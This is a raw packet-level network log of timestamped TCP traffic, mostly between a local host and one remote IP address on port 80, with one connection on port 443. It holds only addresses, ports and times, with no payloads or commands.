Nov 23, 2024 15:22:33.465820074 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.465826035 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.465991974 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.466711998 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.466814995 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.466826916 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.466892004 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.467772007 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.467845917 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.467881918 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.467963934 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.468787909 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.468864918 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.469034910 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.469167948 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.469871998 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.469930887 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.469976902 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.470115900 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.470885038 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.471008062 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.471033096 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.471055031 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.471946001 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.472029924 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.472043991 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.472115040 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.473005056 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.473062038 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.473157883 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.473237038 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.474047899 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.474114895 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.474260092 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.474349022 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.475136042 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.475227118 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.475377083 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.475439072 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.476164103 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.476263046 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.476303101 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.476372004 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.477153063 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.477201939 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.477257013 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.477309942 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.478209019 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.478305101 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.478336096 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.478408098 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.479229927 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.479279995 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.479326010 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.479366064 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.480264902 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.480324984 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.480365992 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.480403900 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.481337070 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.481409073 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.481427908 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.481475115 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.482341051 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.482384920 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.482547045 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.482611895 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.483432055 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.483510971 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.483525991 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.483586073 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.484474897 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.484524012 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.484631062 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.485462904 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.485512018 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.491453886 CET	49831	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:33.622860909 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.622922897 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.623028994 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.623090029 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.623191118 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.623241901 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.623296976 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.623296976 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.624330997 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.624388933 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.624429941 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.624526978 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.625335932 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.625389099 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.625482082 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.625559092 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.626388073 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.626451969 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.626471043 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.626555920 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.627366066 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.627468109 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.627485991 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.627536058 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.628410101 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.628494978 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.628509998 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.628560066 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.629462004 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.629519939 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.629558086 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.629698992 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.630486965 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.630544901 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.630563974 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.630623102 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.631536007 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.631607056 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.631818056 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.631899118 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.632556915 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.632622004 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.632677078 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.632730007 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.633637905 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.633716106 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.633758068 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.633812904 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.634644985 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.634702921 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.634747028 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.634867907 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.635756016 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.635785103 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.635826111 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.635826111 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.636861086 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.636943102 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.636949062 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.636996984 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.637789965 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.637872934 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.637892962 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.637962103 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.638854027 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.638935089 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.638961077 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.639012098 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.639859915 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.639960051 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.639998913 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.639998913 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.640888929 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.640949965 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.641079903 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.641159058 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.641932964 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.641999960 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.642040014 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.642091036 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.643004894 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.643095970 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.643115044 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.643142939 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.644026995 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.644082069 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.644133091 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.644226074 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.645072937 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.645133972 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.645174980 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.645247936 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.646173954 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.646239996 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.646317005 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.646385908 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.647218943 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.647248983 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.647331953 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.648262024 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.648384094 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.648427010 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.648475885 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.649245977 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.649302959 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.649420977 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.649529934 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.650345087 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.650409937 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.650424004 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.650449038 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.651382923 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.651468039 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.651503086 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.651563883 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.652417898 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.652499914 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.652544975 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.652544975 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.653460026 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.653523922 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.653543949 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.653595924 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.654460907 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.654560089 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.654573917 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.654637098 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.655509949 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.655575037 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.655616999 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.655694008 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.656522989 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.656582117 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.656629086 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.656678915 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.657584906 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.657630920 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.657663107 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.657712936 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.658659935 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.658732891 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.658791065 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.658833027 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.659748077 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.659837008 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.659848928 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.659914970 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.660922050 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.661000013 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.661031008 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.661097050 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.661895990 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.661983967 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.662010908 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.662026882 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.662800074 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.662916899 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.662930012 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.662976980 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.663834095 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.663892031 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.663932085 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.664180040 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.664864063 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.664911032 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.664961100 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.665019989 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.665988922 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.666044950 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.666085958 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.666155100 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.666964054 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.667061090 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.667081118 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.667156935 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.668143034 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.668195963 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.668237925 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.668303013 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.669055939 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.669192076 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.669238091 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.669312000 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.670155048 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.670226097 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.670403957 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.670469046 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.671252966 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.671304941 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.671331882 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.671351910 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.672158003 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.672224998 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.672272921 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.672322035 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.673197985 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.673259020 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.673306942 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.673350096 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.674252033 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.674299955 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.674462080 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.674544096 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.675334930 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.675385952 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.675432920 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.675432920 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.676331043 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.676378965 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.676439047 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.676485062 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.677354097 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.677401066 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.814636946 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.814713001 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.814754963 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.814754963 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.815099001 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.815188885 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.815290928 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.815357924 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.815376043 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.815475941 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.816365004 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.816407919 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.816464901 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.816524029 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.817389965 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.817429066 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.817512989 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.817569971 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.818453074 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.818501949 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.818551064 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.818655014 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.819576979 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.819668055 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.819705009 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.819787025 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.820533037 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.820600986 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.820627928 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.820720911 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.821647882 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.821742058 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.821780920 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.821866989 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.822597027 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.822699070 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.822715998 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.822771072 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.823638916 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.823748112 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.823751926 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.823834896 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.824686050 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.824794054 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.824863911 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.824975967 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.825720072 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.825831890 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.825845003 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.825956106 CET	49823	80	192.168.2.4	185.215.113.16
